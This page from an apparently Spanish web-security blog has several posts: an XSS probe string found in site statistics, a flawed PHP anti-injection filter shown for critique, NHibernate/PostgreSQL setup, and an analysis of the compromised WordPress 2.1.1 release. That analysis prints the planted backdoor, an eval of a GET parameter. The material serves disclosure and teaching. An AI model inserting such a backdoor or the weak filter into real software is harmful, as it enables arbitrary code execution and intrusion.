Categories
CSRF Seguridad Sql Injection Web XSS

Sistemas de estadísticas Web y datos sobre las búsquedas

Your Traffic stats
Frecuencia con que reviso las estadísticas de acceso a este blog 😀 (Fuente isopixel)

Debido a que estos últimos meses en estuve comentando algunos temas relacionados sobre seguridad, ahora recibo unas cuantas visitas de gente buscando información sobre XSS, Sql Injection, CSRF, etc; entre estas visitas también hay algunos que buscan algunos exploits que siguen unos patrones determinados.

Al igual que un caso anterior, esta vez mientras revisaba las estadísticas de acceso al blog en Reinvigorate, un pequeño mensaje salió a la vista:

XSS Message

Al mirar más detenidamente la fuente de ese mensaje, ví que alguien al parecer estaba buscando(*) erróneamente servidores vulnerables o más información sobre un bug reportado por Stefan Esser en el Mes de los Bugs de PHP.

Es interesante como este tipo de búsquedas pueden ayudar a encontrar bugs de manera imprevista 🙂 .

(*) El texto que buscaban era http://www.google.com.ar/search?q=?a[]=<script>alert(/XSS/);</script>

Categories
.NET ASP.NET Hosting

Hosting en Windows

Ando en busca de un servicio de hosting pequeño y barato para colgar unos ejemplos, básicamente debe cumplir las siguientes cosas:

  • Soporte para ASP.NET 2
  • Una base de datos Sql Server, PostgreSQL o MySQL (Access no cuenta 😀 )
  • Que no se caiga con mucha frecuencia 🙂

¿Alguien de la audiencia puede recomendarme algún proveedor de hosting?

Categories
PHP Seguridad Sql Injection XSS

Filtros genéricos y la seguridad

Hace algún tiempo ya había comentado que este tipo de funciones en general son de poca utilidad y dan una falsa sensación de seguridad a los que las usan.

php:

function antiinjection($str) {
        $banwords = array ("'", ",", ";", "--", " or ", ")", "(", " OR ", " and ", " AND ","\n","\r");
        if ( eregi ( "[a-zA-Z0-9]+", $str ) ) {
                $str = str_replace ( $banwords, '', ( $str ) );
        } else {
                $str = NULL;
        }
        $str = trim($str);
        $str = strip_tags($str);
        $str = stripslashes($str);
        $str = addslashes($str);
        $str = htmlspecialchars($str);
        return $str;
}

¿Qué problemas le encuentran al código mostrado?

Categories
.NET Desarrollo de Software Mono NHibernate PostgreSQL Software Libre

NHibernate y PostgreSQL

Esta es la primera de dos entradas donde mostraré -de manera básica, como realizar reportes usando NHibernate , PostgreSQL y los controles para Reportes (ReportViewer) que trae cualquier instalación de Visual Studio 2005 -corríjanme si me equivoco 🙂 .

NHibernate es un framework que hace el mapeo de un modelo orientado a objetos a uno relacional.

Al usar NHibernate para el acceso a datos el desarrollador se asegura de que su aplicación es agnóstica en cuanto al motor de base de datos a utilizar en producción, pues NHibernate soporta los más habituales en el mercado: MySQL, PostgreSQL, Oracle, MS SQL Server, etc.

NHibernate tiene demasiadas características como para hablar sobre alguna en especial en este par de entradas, además que ya se ha escrito bastante sobre estos temas. En este apartado, sólo quiero hacer notar un pequeño detalle al momento de trabajar con PostgreSQL como base de datos.

xml:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <configSections>
    <section name="nhibernate" type="System.Configuration.NameValueSectionHandler" />
  </configSections>
  <nhibernate>
    <add key="hibernate.connection.provider" value="NHibernate.Connection.DriverConnectionProvider"/>
    <add key="hibernate.dialect" value="NHibernate.Dialect.PostgreSQLDialect" />
    <add key="hibernate.connection.driver_class" value="NHibernate.Driver.NpgsqlDriver" />
    <add key="hibernate.connection.connection_string"
         value="Server=192.168.1.20;Database=test;User Id=alex;Encoding=LATIN1;" />

  </nhibernate>
</configuration>

Como se puede apreciar en el código mostrado, la cadena de conexión incluye un parámetro Encoding -sólo sirve para PostgreSQL, donde se especifica la codificación de caracteres que usará nuestra aplicación en la comunicación con el servidor de Base de Datos, si bien es cierto que PostgreSQL intentará hacer automáticamente una conversión entre la codificación definida en el servidor y la del cliente, es recomendable utilizar explícitamente la misma codificación en ambos extremos.

En la siguiente entrada, se tocará específicamente el diseño de reportes usando un ensamblado que contiene nuestro modelo.

Class Diagram for NHibernate Sample

Categories
Seguridad Web WordPress XSS

Actualización de Seguridad de WordPress

Hace unas cuantas horas me enteré de la liberación de una nueva versión de WordPress, que según el blog oficial, un cracker obtuvo acceso a uno de los servidores de wordpress.org y puso código malicioso en las versiones descargables de la versión 2.1.1.

Casualmente descargué esta versión vulnerable de WordPress, para realizar las pruebas -y algunas correcciones- de la nueva versión del plugin PopStats. El código insertado en la versión que tengo a la mano es la siguiente (feed.php):

php:

function comment_text_phpfilter($filterdata) {
        eval($filterdata);
}

...

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

Como se puede apreciar, el código insertado es bastante peligroso puesto que permite la ejecución de código arbitrario.

Esta nueva versión, también corrige otro problemas de seguridad:

  • XSS en la parte encargada de evitar ataques de tipo CSRF.

Es recomendable que actualizen cuanto antes vuestra versión de WordPress para evitarse malos ratos.